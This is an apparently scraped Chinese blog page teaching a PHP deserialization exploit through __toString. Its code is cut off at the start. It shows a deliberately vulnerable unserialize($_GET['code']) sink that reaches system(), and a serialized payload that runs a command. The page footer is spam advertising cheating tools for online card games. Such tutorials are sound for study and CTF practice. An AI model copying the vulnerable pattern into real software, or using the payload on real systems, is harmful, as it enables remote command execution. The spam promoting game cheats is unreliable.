【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

第九分钟方针！福建天天开心辅助... 第九分钟方针！福建天天开心辅助软件大全（外挂）其实真的是有辅助教程（哔哩哔哩）暗藏猫腻，小编详细说明...
2026版复盘!微友辅助神器下... 2026版复盘!微友辅助神器下载!总是确实有辅助攻略(有挂助手)-哔哩哔哩1、玩家可以在微友辅助神器...
3分钟总结！全民比鸡手游辅助（... 3分钟总结！全民比鸡手游辅助（外挂）其实有辅助方法（哔哩哔哩）1、玩家可以在全民比鸡手游辅助透视最简...
昨日!微信开心十三张脚本!确实... 昨日!微信开心十三张脚本!确实存在有辅助工具(有挂分析)-哔哩哔哩1、不需要AI权限，帮助你快速的进...
六分钟学习！丫丫陕西打锅子辅助... 六分钟学习！丫丫陕西打锅子辅助（外挂）切实存在有辅助工具（哔哩哔哩）1）丫丫陕西打锅子辅助辅助插件：...
技巧辅助挂!多乐辅助器!都是确... 技巧辅助挂!多乐辅助器!都是确实有辅助挂(有挂讲解)-哔哩哔哩1、全新机制【多乐辅助器ai辅助工具激...
3分钟总结！浙江游戏大厅怎么开... 3分钟总结！浙江游戏大厅怎么开挂（外挂）一贯是真的有辅助app（哔哩哔哩）一、浙江游戏大厅怎么开挂游...
目前来看!新道游辅助软件下载!... 目前来看!新道游辅助软件下载!果然真的有辅助器(有人有挂)-哔哩哔哩1、操作简单，无需新道游辅助软件...
第8分钟策略！指尖四川辅助脚本... 第8分钟策略！指尖四川辅助脚本（外挂）竟然是真的有辅助攻略（哔哩哔哩）亲，关键说明，指尖四川辅助脚本...
针对!大菠萝游戏佛手在线辅助怎... 针对!大菠萝游戏佛手在线辅助怎么用!竟然真的有辅助工具(有挂技术)-哔哩哔哩1、针对!大菠萝游戏佛手...